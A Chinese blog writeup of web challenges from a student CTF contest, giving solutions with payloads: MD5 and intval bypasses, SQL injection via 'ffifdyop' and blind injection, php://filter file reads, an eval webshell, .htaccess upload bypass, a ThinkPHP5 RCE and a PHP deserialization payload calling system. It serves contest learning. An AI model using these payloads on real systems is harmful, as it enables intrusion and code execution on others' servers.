SWPU NSS新生赛

😋大家好,我是YAy_17,是一枚爱好网安的小白,正在自学ing。

本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️

⭐️此后如竟没有炬火,我便是唯一的光。⭐️

最近除了上课,就是准备取证去了;参加了西南石油的新生赛,感觉还是挺简单的;

funny_web

首先入口界面如下:

随便输入先尝试一下嘛,账号:admin,密码:admin;(之后提示我们用户名是实验室名)

(其实这里的账号和密码是直接找群里的群主要到的!)账号为NSS;密码为2122693401;

之后便直接登录进来看到如下的php代码

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num != '12345') {
        if (intval($num) == '12345') {
            echo $FLAG;
        }
    } else {
        echo "这为何相等又不相等";
    }
} 

显然这就是intval函数的漏洞,intval函数有个特性:”直到赶上数字或正负符号才开始作转换,再遇到非数字或字符串结束时()结束转换”;那么我们输入的如果是12345a的话,当遇到a的时候便停止了转换,结果便得到了12345;此时与后面的12345进行了弱类型的判断,成立便输出了flag;

奇妙的MD5

拿到题目就是这样的,其实看到这里再结合题目的名称,就想到了“奇妙的字符串”;先尝试随便输入字符,发现一直都是这个页面;抓包看一下;同时抓响应包,在响应包中发现了hint!

确实这里执行了查询语句,但是在通过where的时候,由于条件不匹配,导致什么信息都没有;

需要password = md5($pass,true)为真的时候,才会执行select * from 'admin'

那么md5函数会将我们的输入,经过加密,然后再转换为16字符的二进制;有一个“奇妙的字符串”:ffifdyop经过md5加密变成276F722736C95D99E921722CF9ED621C;之后转换为16字符的二进制又变成了'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c ,这串字符的前面几位刚好是' or '6

select * form admin where password =' or '6....

在mysql内,用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的;比如password=' or '1xxxx',那么就相当于password=' or 1,所以返回值就是true;故这里的payload为ffifdyop

之后便跳转来到了这里,先看源码嘛!

还是md5,这里有两个参数x和y;x不可以等于y,同时x、y在经过md5加密之后相等;

两种方法嘛!

  1. 由于md5不能加密数组,在加密数组的时候会返回NULL 
  2. 传入两个不相同的值,经过md5加密之后得到0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,php在进行科学计算法的时候才会将它转化为0。经过等号的判断之后返回值为true

所以传数组!数组方便,第二种大家可以去网上找,自己之前也整理过;

where_am_i

什么东西是11位啊?-------->手机号???

随便输入一个手机号,弹窗“try again”;这个题有点像MISC了;网页种发现了一张xxx.古迹酒店;直接高德地图找,会找到他的电话,输入即可!

ez_ez_php

上来就是直接代码审计了;

 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php 

条件:我们通过GET方式传入的file参数的前三位包含着php;

那么什么语句包含着php....(php://filter??)之后尝试去使用php伪协议;

file=php://filter/read=convert.base64-encode/resource=flag.php

得到了一串经过base64编码的字符串,尝试通过base64解码;

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");


echo   "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";

fake flag;提示:real_flag_is_in_'flag'

那么就依然使用php伪协议去读flag!经过base64解码之后便可以拿到真正的flag;

webdog1__start

“年轻的webdog哦,如果连这关都创不过还是去卷pwn和re吧”

先看源码;得到如下:

​ 

也就是说原值经过弱类型判断依然是等于md5加密之后的值;我们便可以找0e开头的数值,经过md5加密之后得到的值依然是0e开头即可;

0e2159620170e291242476940776845150308577824 

之后来到如下的界面:

这里我就一个个点,多数都是404;search这里的话通过抓包看一下;

​ 

这里便找到了hint,提示我们去fl4g.php看一下;

​ 

还是抓包看一下响应数据包,依然还是存在着hint,套娃;

去对应的文件看一下,又开始了代码审计:


<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }

}
?> 

 经过get传参get,get中不可以存在着空格,并且如果get中存在着flag,那么会将flag替换为空格;

get的值的长度还不能超过18;尝试get传入一句话小马;eval($_post[1]);

最终形成eval(eval($_post[1]););为什么这里不能直接传入$_POST[1] ,是因为要激活一下eval函数,而我们直接传入$_POST[1],是不会出现结果的;这里我还不知道为什么是这样的?本地测试是需要加上eval的!

之后就是直接连接蚁剑;

Ez_upload

文件上传,先尝试上传正常的文件,这里先上传了一个jpg文件 

成功上传;尝试上传php文件;将之前的jpg文件接着上传,修改了其中的内容和后缀名,没有修改MIME信息;其实这里还会校验MIME信息的!

提示文件的后缀名中有ph,那么相应的也就过滤了pht、phtml等格式;这里尝试上传一下.htaccess文件,发现是可以上传的;

之后便是上传jpg的文件,但是在这里遇到了过滤,当我们的文件中存在<?php、<?=都会提示“你上传的什么鬼!”;使用<script language="php"></script>是可以上传的! 

之后便可以直接连蚁剑啦!但是我在连接蚁剑之后,在flag文件中没有内容;可能是flag文件中就是没有文件;是在phpinfo中找到的flag; 

numgame

题目如下:

无法查看源代码,dirsearch扫描文件,也没有扫描到敏感的文件;只能抓包,同时去抓一下响应的数据包,发现了有个js的文件,尝试访问该文件,发现该文件的最后一行是这样的:

 发现括号里面就是base64嘛!然后尝试解码看一下啊,又是另一个php的文件,尝试访问:

 <?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
    static function ctf(){
        include("./hint2.php");
    }
}
if(isset($_GET['p'])){
    if (preg_match("/n|c/m",$_GET['p'], $matches))
        die("no");
    call_user_func($_GET['p']);
}else{
    highlight_file(__FILE__);
} 

发现有一个nss类,里面存在着一个静态的方法,通过GET方式进行传参,传入的参数又经过了正则的匹配,但是正则并没有大小写过滤,所以使用的就是大小写的绕过;

payload:        p=Nss::Ctf        又提示不是nss这个类是不是nss2呢 换一下类名即可;

ez_ez_php(revenge)

 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php 

php://filter伪协议直接读flag.php,之后又告诉你是/flag文件;

ez_rce

页面如上所示,直接上dirsearch了, 扫描到了robots.txt文件,尝试访问;

访问之后,提示/NSS/index.php/;继续访问出现了熟悉的界面:

thinkphp5,RCE!当然题目也已经提示我们了,这里直接就网上百度payload即可,我这里就直接用了工具;之后就是直接进行漏洞利用即可了,注意的是flag并不在根目录下面的flag文件中,flag文件中是空的,真正的flag实在/nss中,害我找了半天(眼睛属实太大了,没看见)

ez_sql

相对安全的方式传参,那就是post,参数是nss;先尝试传参nss=1看看什么情况

 看到的是如下的界面,这两个flag都是假的,不用尝试,单引号的闭合方式,之后就是发现过滤了and、or、union等关键字,都是可以通过双写进行绕过的!之后就是通过基于post方式的布尔盲注脚本来进行注入了,最后爆出来的列名存在id,Secr3t,flll444g,但是在flll444g中爆出来的flag又是假的,真正的flag存在于Secr3t列中;

1z_unserialize

<?php 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }   
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?> 

反序列化漏洞点在$a($this->lly);相当于可以命令执行了;直接构造

<?php 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt = 'system';
    public $lly = 'ls /';      
}
$cc = new lyh();
echo(serialize($cc));
?> 

将最终的序列化之后的结果直接传入到nss中即可;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/246269.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

网页图标素材免费下载网站

这里是几个可以免费下载网页图标素材的的网站。这些个网站里的图表和素材&#xff0c;应该是都可以免费下载的。&#xff08;至少我下载了几个素材是没有花钱的&#xff09; Flaticon iconArchive freepik 4. iconmonstr 5. Icons and Photos For Everything 如果想下载图片&a…

在项目中,使用drawio创建一个共享协作看板

在项目中&#xff0c;使用drawio创建一个共享协作看板 drawio是一款强大的图表绘制软件&#xff0c;支持在线云端版本以及windows, macOS, linux安装版。 如果想在线直接使用&#xff0c;则直接输入网址draw.io或者使用drawon(桌案), drawon.cn内部完整的集成了drawio的所有功…

【C语言(十一)】

C语言内存函数 一、memcpy使用和模拟实现 void * memcpy ( void * destination, const void * source, size_t num ); • 函数memcpy从source的位置开始向后复制num个字节的数据到destination指向的内存位置。 • 这个函数在遇到 \0 的时候并不会停下来。 • 如果sourc…

【每日一题】【12.14】2132.用邮票贴满网格图

&#x1f525;博客主页&#xff1a; A_SHOWY&#x1f3a5;系列专栏&#xff1a;力扣刷题总结录 数据结构 云计算 数字图像处理 力扣每日一题_ 2132. 用邮票贴满网格图https://leetcode.cn/problems/stamping-the-grid/ 今天的每日一题又是一道恶心的困难题目&#xff0c;花…

【数据结构期末复习】完善中

文章目录 二叉树的三种遍历方式怎么看遍历结果相关题目&#xff1a;已知一颗二叉树的后续遍历序列为&#xff1a;GFEDCBA;中序遍历序列为&#xff1a;FGAEBDC。画出这棵二叉树思路代码版 先序线索树二叉树转树、或森林树转二叉树二叉树转树二叉树转森林森林转二叉树 二叉树的三…

Java之BigDecimal详解

一、BigDecimal概述 Java在java.math包中提供的API类BigDecimal&#xff0c;用来对超过16位有效位的数进行精确的运算。双精度浮点型变量double可以处理16位有效数&#xff0c;但在实际应用中&#xff0c;可能需要对更大或者更小的数进行运算和处理。一般情况下&#xff0c;对…

阿里云人工智能平台PAI多篇论文入选EMNLP 2023

近期&#xff0c;阿里云人工智能平台PAI主导的多篇论文在EMNLP2023上入选。EMNLP是人工智能自然语言处理领域的顶级国际会议&#xff0c;聚焦于自然语言处理技术在各个应用场景的学术研究&#xff0c;尤其重视自然语言处理的实证研究。该会议曾推动了预训练语言模型、文本挖掘、…

【基于卷积神经网络的疲劳检测与预警系统的设计与实现】

基于卷积神经网络的疲劳检测与预警系统的设计与实现 引言数据集介绍技术与工具1. OpenCV2. TensorFlow3. 卷积神经网络&#xff08;CNN&#xff09; 系统功能模块1. 视频采集模块2. 图像预处理模块3. 人脸识别模块4. 疲劳程度判别模块5. 报警模块 系统设计创新点1. 实时监测与预…

js解析.shp文件

效果图 原理与源码 本文采用的是shapefile.js工具 这里是他的npm地址 https://www.npmjs.com/package/shapefile 这是他的unpkg地址&#xff0c;可以点开查看源码 https://unpkg.com/shapefile0.6.6/dist/shapefile.js 这个最关键的核心问题是如何用这个工具&#xff0c;网上…

如何正确使用缓存来提升系统性能

文章目录 引言什么时候适合加缓存&#xff1f;示例1示例2&#xff1a;示例3&#xff1a; 缓存应该怎么配置&#xff1f;数据分布**缓存容量大小&#xff1a;**数据淘汰策略 缓存的副作用总结 引言 在上一篇文章IO密集型服务提升性能的三种方法中&#xff0c;我们提到了三种优化…

如何在iPad Pro上实现SSH远程连接服务器并进行云端编程开发【内网穿透】

文章目录 前言1. 在iPad下载Code APP2.安装cpolar内网穿透2.1 cpolar 安装2.2 创建TCP隧道 3. iPad远程vscode4. 配置固定TCP端口地址4.1 保留固定TCP地址4.2 配置固定的TCP端口地址4.3 使用固定TCP地址远程vscode 前言 本文主要介绍开源iPad应用IDE如何下载安装&#xff0c;并…

京微齐力:基于H7的平衡控制系统(一、姿态解析)

目录 前言一、关于平衡控制系统二、实验效果三、硬件选择1、H7P20N0L176-M2H12、MPU6050 四、理论简述五、程序设计1、Cordic算法2、MPU6050采集数据3、fir&iir滤波4、姿态解算 六、资源消耗&工程获取七、总结 前言 很久之前&#xff0c;就想用纯FPGA做一套控制系统。可…

9.2 Linux LED 驱动开发

一、Linux 下的 LED 驱动原理 Linux 下的任何驱动&#xff0c;最后都是要配置相应的硬件寄存器。 1. 地址映射 MMU 全称叫做 MemoryManage Unit&#xff0c;也就是内存管理单元。 现在的 Linux 支持无 MMU 处理器。MMU 主要完成的功能为&#xff1a; 1、完成虚拟空间到物理空间…

香港科技大学数据建模(MSc DDM)硕士学位项目(2024年秋季入学)招生宣讲会-四川大学专场

时间&#xff1a;2023 年 12 月 26 日&#xff08;周二&#xff09; 14:30 地点&#xff1a;四川大学望江校区基础教学楼 C 座 102 嘉宾教授&#xff1a;潘鼎 教授 项目旨在培养科学或工程背景的学员从数据中提取信息的数据建模能力&#xff0c;训练其拥有优秀的解难和逻辑思…

旅游景区文旅地产如何通过数字人开启数字营销?

随着元宇宙的发展&#xff0c;为虚实相生的营销带来更多的可能性。基于虚拟世界对于现实世界的模仿&#xff0c;通过构建沉浸式数字体验&#xff0c;增强现实生活的数字体验&#xff0c;强调实现真实体验的数字化&#xff0c;让品牌结合数字人开启数字化营销。 *图片源于网络 …

谷歌浏览器怎么关闭自动更新?

文章目录 一、方式一 谷歌浏览器安装完成后&#xff0c;每天都会自动更新到最新的版本&#xff0c;但是对于有些程序的驱动&#xff0c;浏览器一更新就不能自动启动浏览器&#xff0c;会给我们带来很多困扰。下面我们介绍怎么将谷歌浏览器自动更新关闭&#xff0c;如果需要更新…

# 和 $ 的区别②

上节博客说了使用 # 的时候,如果参数为 String ,会自动加上单引号 但是当参数为String 类型的时候,也有不需要加单引号的情况,这时候用 # 那就会出问题 比如根据 升序(asc) 或者 降序(desc) 查找的时候,加了单引号那就会报错 这个时候我们就只能使用 $ 如果看不懂代码,就去…

Android Studio实现俄罗斯方块

文章目录 一、项目概述二、开发环境三、详细设计3.1 CacheUtils类3.2 BlockAdapter类3.3 CommonAdapter类3.4 SelectActivity3.5 MainActivity 四、运行演示五、项目总结 一、项目概述 俄罗斯方块是一种经典的电子游戏&#xff0c;最早由俄罗斯人Alexey Pajitnov在1984年创建。…

Rask AI引领革新,推出多扬声器口型同步技术,打造本地化内容新纪元

“ Rask AI是一个先进的AI驱动视频和音频本地化工具&#xff0c;旨在帮助内容创作者和公司快速、高效地将他们的视频转换成60多种语言。通过不断创新和改进产品功能&#xff0c;Rask AI正塑造着未来媒体产业的发展趋势。 ” 在多语种内容创作的新时代&#xff0c;Rask AI不断突…

spring 笔记六 SpringMVC 获得请求数据

文章目录 SpringMVC 获得请求数据获得请求参数获得基本类型参数获得POJO类型参数获得数组类型参数获得集合类型参数请求数据乱码问题参数绑定注解requestParam获得Restful风格的参数获得Restful风格的参数自定义类型转换器获得Servlet相关API获得请求头RequestHeaderCookieValu…
最新文章